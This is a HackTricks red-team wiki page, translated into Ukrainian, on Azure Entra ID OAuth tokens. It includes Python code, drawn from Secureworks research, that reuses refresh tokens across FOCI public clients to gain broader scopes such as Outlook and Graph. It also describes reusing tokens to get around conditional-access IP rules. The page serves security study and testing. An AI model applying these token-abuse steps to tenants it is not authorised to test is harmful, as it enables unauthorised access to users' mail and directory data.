Az - Tokens & Public Applications

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Основна Інформація

Entra ID - це хмарна платформа управління ідентифікацією та доступом (IAM) від Microsoft, яка слугує основною системою аутентифікації та авторизації для таких сервісів, як Microsoft 365 та Azure Resource Manager. Azure AD реалізує фреймворк авторизації OAuth 2.0 та протокол аутентифікації OpenID Connect (OIDC) для управління доступом до ресурсів.

OAuth

Ключові Учасники в OAuth 2.0:

1. Сервер Ресурсів (RS): Захищає ресурси, що належать власнику ресурсу.

2. Власник Ресурсу (RO): Зазвичай кінцевий користувач, який володіє захищеними ресурсами.

3. Клієнтський Додаток (CA): Додаток, що намагається отримати доступ до ресурсів від імені власника ресурсу.

4. Сервер Авторизації (AS): Видає токени доступу клієнтським додаткам після їх аутентифікації та авторизації.

Обсяги та Згода:

• Обсяги: Дрібні дозволи, визначені на сервері ресурсів, які вказують рівні доступу.

• Згода: Процес, за допомогою якого власник ресурсу надає клієнтському додатку дозвіл на доступ до ресурсів з конкретними обсягами.

Інтеграція з Microsoft 365:

• Microsoft 365 використовує Azure AD для IAM і складається з кількох "первинних" OAuth додатків.

• Ці додатки глибоко інтегровані та часто мають взаємозалежні відносини сервісів.

• Щоб спростити досвід користувачів і підтримувати функціональність, Microsoft надає "неявну згоду" або "попередню згоду" цим первинним додаткам.

• Неявна Згода: Деяким додаткам автоматично надається доступ до конкретних обсягів без явного схвалення користувача або адміністратора.

• Ці попередньо погоджені обсяги зазвичай приховані як від користувачів, так і від адміністраторів, що робить їх менш видимими в стандартних інтерфейсах управління.

Типи Клієнтських Додатків:

1. Конфіденційні Клієнти:

• Мають свої власні облікові дані (наприклад, паролі або сертифікати).

• Можуть надійно аутентифікувати себе на сервері авторизації.

1. Публічні Клієнти:

• Не мають унікальних облікових даних.

• Не можуть надійно аутентифікуватися на сервері авторизації.

• Безпекове Значення: Зловмисник може видавати себе за публічний клієнтський додаток при запиті токенів, оскільки немає механізму для перевірки легітимності додатка на сервері авторизації.

Аутентифікаційні Токени

Існує три типи токенів, що використовуються в OIDC:

• Токени Доступу: Клієнт представляє цей токен серверу ресурсів для доступу до ресурсів. Він може використовуватися лише для конкретної комбінації користувача, клієнта та ресурсу і не може бути відкликаний до закінчення терміну дії - за замовчуванням це 1 година.

• ID Токени: Клієнт отримує цей токен від сервера авторизації. Він містить основну інформацію про користувача. Він прив'язаний до конкретної комбінації користувача та клієнта.

• Токени Оновлення: Надаються клієнту разом з токеном доступу. Використовуються для отримання нових токенів доступу та ID токенів. Він прив'язаний до конкретної комбінації користувача та клієнта і може бути відкликаний. За замовчуванням термін дії становить 90 днів для неактивних токенів оновлення та немає терміну дії для активних токенів (з токена оновлення можливо отримати нові токени оновлення).

• Токен оновлення повинен бути прив'язаний до aud, до деяких обсягів та до орендаря, і він повинен мати можливість генерувати токени доступу лише для цього aud, обсягів (і не більше) та орендаря. Однак це не так для токенів додатків FOCI.

• Токен оновлення зашифрований, і лише Microsoft може його розшифрувати.

• Отримання нового токена оновлення не відкликає попередній токен оновлення.

Інформація для умовного доступу зберігається всередині JWT. Тому, якщо ви запитуєте токен з дозволеної IP-адреси, ця IP буде збережена в токені, і тоді ви зможете використовувати цей токен з недозволеної IP для доступу до ресурсів.

Токени Доступу "aud"

Поле, вказане в полі "aud", є сервером ресурсів (додатком), що використовується для виконання входу.

Команда az account get-access-token --resource-type [...] підтримує такі типи, і кожен з них додасть конкретний "aud" у результативний токен доступу:

Зверніть увагу, що наступні є лише API, підтримуваними az account get-access-token, але їх більше.

приклади aud

• aad-graph (Azure Active Directory Graph API): Використовується для доступу до застарілого Azure AD Graph API (депрецований), який дозволяє додаткам читати та записувати дані каталогу в Azure Active Directory (Azure AD).

• https://graph.windows.net/

• arm (Azure Resource Manager): Використовується для управління ресурсами Azure через API Azure Resource Manager. Це включає операції, такі як створення, оновлення та видалення ресурсів, таких як віртуальні машини, облікові записи зберігання тощо.

• https://management.core.windows.net/ or https://management.azure.com/

• batch (Azure Batch Services): Використовується для доступу до Azure Batch, сервісу, який дозволяє ефективно виконувати великомасштабні паралельні та високопродуктивні обчислювальні програми в хмарі.

• https://batch.core.windows.net/

• data-lake (Azure Data Lake Storage): Використовується для взаємодії з Azure Data Lake Storage Gen1, який є масштабованим сервісом зберігання даних та аналітики.

• https://datalake.azure.net/

• media (Azure Media Services): Використовується для доступу до Azure Media Services, які надають хмарні послуги обробки та доставки медіа для відео та аудіо контенту.

• https://rest.media.azure.net

• ms-graph (Microsoft Graph API): Використовується для доступу до Microsoft Graph API, єдиного кінцевого пункту для даних сервісів Microsoft 365. Це дозволяє отримувати дані та інсайти з таких сервісів, як Azure AD, Office 365, Enterprise Mobility та Security services.

• https://graph.microsoft.com

• oss-rdbms (Azure Open Source Relational Databases): Використовується для доступу до сервісів бази даних Azure для відкритих реляційних баз даних, таких як MySQL, PostgreSQL та MariaDB.

• https://ossrdbms-aad.database.windows.net

Обсяги Токенів Доступу "scp"

Обсяг токена доступу зберігається всередині ключа scp в JWT токена доступу. Ці обсяги визначають, до чого має доступ токен доступу.

Якщо JWT дозволено контактувати з конкретним API, але не має обсягу для виконання запитаної дії, він не зможе виконати цю дію з цим JWT.

Приклад отримання токена оновлення та доступу

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)



# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

FOCI Tokens Privilege Escalation

Раніше згадувалося, що токени оновлення повинні бути прив'язані до областей (scopes), з якими вони були згенеровані, до додатку та орендаря (tenant), для якого вони були згенеровані. Якщо будь-яка з цих меж буде порушена, можливо підвищити привілеї, оскільки буде можливість генерувати токени доступу до інших ресурсів і орендарів, до яких користувач має доступ, і з більшою кількістю областей, ніж це було спочатку передбачено.

Більше того, це можливо з усіма токенами оновлення в Microsoft identity platform (облікові записи Microsoft Entra, особисті облікові записи Microsoft та соціальні облікові записи, такі як Facebook і Google), оскільки, як зазначено в документації: "Токени оновлення прив'язані до комбінації користувача та клієнта, але не прив'язані до ресурсу або орендаря. Клієнт може використовувати токен оновлення для отримання токенів доступу в будь-якій комбінації ресурсу та орендаря, де він має на це дозвіл. Токени оновлення зашифровані, і лише платформа ідентичності Microsoft може їх читати."

Крім того, зверніть увагу, що FOCI додатки є публічними додатками, тому секрет не потрібен для автентифікації на сервері.

Тоді відомі клієнти FOCI, про які повідомлялося в оригінальному дослідженні, можуть бути знайдені тут.

Get different scope

Продовжуючи з попереднього прикладу коду, у цьому коді запитується новий токен для іншої області:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Отримати різні клієнти та області

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Посилання

• https://github.com/secureworks/family-of-client-ids-research

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.